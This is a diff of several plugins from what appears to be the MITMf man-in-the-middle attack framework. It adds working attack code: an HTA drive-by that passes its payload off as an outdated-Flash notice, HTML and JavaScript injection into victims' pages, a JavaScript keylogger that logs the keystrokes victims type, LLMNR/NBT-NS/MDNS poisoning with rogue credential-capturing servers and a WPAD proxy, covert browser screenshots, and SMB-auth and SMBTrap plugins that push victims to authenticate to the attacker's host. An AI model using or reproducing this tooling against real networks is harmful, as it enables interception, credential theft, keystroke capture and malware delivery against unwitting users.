self.clientlog.debug("File is not of supported content-type: {}".format(content_header), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}

56
plugins/htadriveby.py Normal file
View file

@ -0,0 +1,56 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import re
import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
from core.servers.http.HTTPserver import HTTPserver
class HTADriveBy(Inject, Plugin):
name = 'HTA Drive-By'
desc = 'Performs HTA drive-by attacks on clients'
optname = 'hta'
ver = '0.1'
def initialize(self, options):
self.bar_text = options.text
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self.get_payload()
server = HTTPserver().server
@server.route('/<hta_req>')
def client_request(hta_req):
if hta_req == "Flash.hta":
with open('./config/hta_driveby/Flash.hta') as hta_file:
resp = flask.Response(hta_file.read())
resp.headers['Content-Type'] = "application/hta"
return resp
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
return payload
def options(self, options):
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")

View file

@ -17,10 +17,9 @@
#
import time
import re
import sys
import argparse
from bs4 import BeautifulSoup
from plugins.plugin import Plugin
class Inject(Plugin):
@ -48,48 +47,59 @@ class Inject(Plugin):
self.white_ips = options.white_ips.split(',')
self.white_domains = options.white_domains.split(',')
self.black_domains = options.black_domains.split(',')
self.match_str = options.match_str
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
def response(self, response, request, data):
ip, hn, mime = self._get_req_info(response)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip):
if (not self.js_url == self.html_url is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self.get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count += 1
self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo)
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
html = BeautifulSoup(data, "lxml")
if html.body:
if self.html_url:
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
if self.html_payload:
payload = BeautifulSoup(self.html_payload, "html.parser")
html.body.append(payload)
self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
if self.html_file:
with open(self.html_file, 'r') as file:
payload = BeautifulSoup(file.read(), "html.parser")
html.body.append(payload)
self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
if self.js_url:
script = html.new_tag('script', type='text/javascript', src=self.js_url)
html.body.append(script)
self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
if self.js_payload:
tag = html.new_tag('script', type='text/javascript')
tag.append(self.js_payload)
html.body.append(tag)
self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
if self.js_file:
tag = html.new_tag('script', type='text/javascript')
with open(self.js_file, 'r') as file:
tag.append(file.read())
html.body.append(tag)
self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
data = str(html)
return {'response': response, 'request':request, 'data': data}
def get_payload(self):
payload = ''
if self.html_url is not None:
payload += '<iframe src="{}" height=0%% width=0%%></iframe>'.format(self.html_url)
if self.html_payload is not None:
payload += self.html_payload
if self.html_file:
payload += self.html_file.read()
if self.js_url is not None:
payload += '<script type="text/javascript" src="{}"></script>'.format(self.js_url)
if self.js_payload is not None:
payload += '<script type="text/javascript">{}</script>'.format(self.js_payload)
if self.js_file:
payload += '<script type="text/javascript">{}</script>'.format(self.js_file.read())
return payload
def _ip_filter(self, ip):
if self.white_ips[0] != '':
@ -122,8 +132,7 @@ class Inject(Plugin):
return True
def _should_inject(self, ip, hn, mime):
def _should_inject(self, ip, hn):
if self.count_limit == self.rate_limit is None and not self.per_domain:
return True
@ -138,45 +147,16 @@ class Inject(Plugin):
if self.per_domain:
return not ip+hn in self.dtable
return mime.find(self.mime) != -1
def _get_req_info(self, response):
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
return (ip, hn, mime)
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
(string/regex_to_match,html_to_inject)
NOTE: Matching will be case insensitive unless differnt flags are given
The pre array will have the match in front of your injected code, the post
will put the match behind it.
'''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
for i, r in enumerate(pre_regexes):
data = re.sub(r, "\g<match>"+pre[i][1], data)
for i, r in enumerate(post_regexes):
data = re.sub(r, post[i][1]+"\g<match>", data)
return data
return True
def options(self, options):
options.add_argument("--js-url", type=str, help="URL of the JS to inject")
options.add_argument('--js-payload', type=str, help='JS string to inject')
options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject')
options.add_argument('--js-file', type=str, help='File containing JS to inject')
options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
options.add_argument("--html-payload", type=str, help="HTML string to inject")
options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject')
options.add_argument("--match-str", type=str, default='</body>', help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument('--html-file', type=str, help='File containing HTML to inject')
group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")

62
plugins/jskeylogger.py Normal file
View file

@ -0,0 +1,62 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.inject import Inject
from plugins.plugin import Plugin
class JSKeylogger(Inject, Plugin):
name = "JSKeylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
version = "0.2"
def initialize(self, options):
Inject.initialize(self, options)
self.js_file = "./core/javascript/msfkeylogger.js"
def request(self, request):
if 'keylog' in request.uri:
request.handle_post_output = True
raw_keys = request.postData.split("&&")[0]
input_field = request.postData.split("&&")[1]
keys = raw_keys.split(",")
if keys:
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
def options(self, options):
pass

View file

@ -1,5 +1,3 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
@ -24,7 +22,7 @@ import argparse
from core.configwatcher import ConfigWatcher
from core.logger import logger
class Plugin(ConfigWatcher, object):
class Plugin(ConfigWatcher):
name = "Generic plugin"
optname = "generic"
tree_info = []

53
plugins/replace.py Normal file
View file

@ -0,0 +1,53 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Original plugin by @rubenthijssen
"""
import re
from plugins.plugin import Plugin
class Replace(Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
version = "0.2"
def initialize(self, options):
self.options = options
def response(self, response, request, data):
mime = response.headers['Content-Type']
hn = response.getRequestHostname()
if "text/html" in mime:
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
except Exception:
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
return {'response': response, 'request': request, 'data': data}

141
plugins/responder.py Normal file
View file

@ -0,0 +1,141 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from twisted.internet import reactor
class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.ip = options.ip
try:
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
shutdown('[-] Error parsing config for Responder: ' + str(e))
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
LANfingerprinter().start(options)
MDNSpoisoner().start(options, options.ip)
NBTNSpoisoner().start(options, options.ip)
LLMNRpoisoner().start(options, options.ip)
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.responder.kerberos.KERBserver import KERBserver
KERBserver().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.responder.ftp.FTPserver import FTPserver
FTPserver().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.responder.pop3.POP3server import POP3server
POP3server().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.responder.smtp.SMTPserver import SMTPserver
SMTPserver().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.responder.imap.IMAPserver import IMAPserver
IMAPserver().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.responder.ldap.LDAPserver import LDAPserver
LDAPserver().start(smbChal)
if options.analyze:
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.IsICMPRedirectPlausible(options.ip)
def IsICMPRedirectPlausible(self, IP):
result = []
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
else:
pass
def IsOnTheSameSubnet(self, ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def reactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)
def options(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
# Removed these options until I find a better way of implementing them
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

59
plugins/screenshotter.py Normal file
View file

@ -0,0 +1,59 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import base64
import urllib
import re
from datetime import datetime
from plugins.plugin import Plugin
from plugins.inject import Inject
class ScreenShotter(Inject, Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
def initialize(self, options):
Inject.initialize(self, options)
self.js_payload = self.get_payload()
self.interval = options.interval
def request(self, request):
if 'saveshot' in request.uri:
request.handle_post_output = True
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
except Exception as e:
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
def get_payload(self):
return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
def options(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

41
plugins/smbauth.py Normal file
View file

@ -0,0 +1,41 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.inject import Inject
class SMBAuth(Inject, Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
version = "0.1"
def initialize(self, options):
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self._get_data()
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.ip]*3)
def options(self, options):
pass

38
plugins/smbtrap.py Normal file
View file

@ -0,0 +1,38 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import random
import string
from plugins.plugin import Plugin
class SMBTrap(Plugin):
name = "SMBTrap"
optname = "smbtrap"
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
def initialize(self, options):
self.ip = options.ip
def responsestatus(self, request, version, code, message):
return {"request": request, "version": version, "code": 302, "message": "Found"}
def responseheaders(self, response, request):
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)

View file

@ -0,0 +1,61 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image, ImageFile
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
version = "0.1"
def initialize(self, options):
self.options = options
def responseheaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
def response(self, response, request, data):
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
self.clientlog.info("Flipped image".format(response.getClientIP()))
except Exception as e:
self.clientlog.info("Error: {}".format(response.getClientIP(), e))
return {'response': response, 'request': request, 'data': data}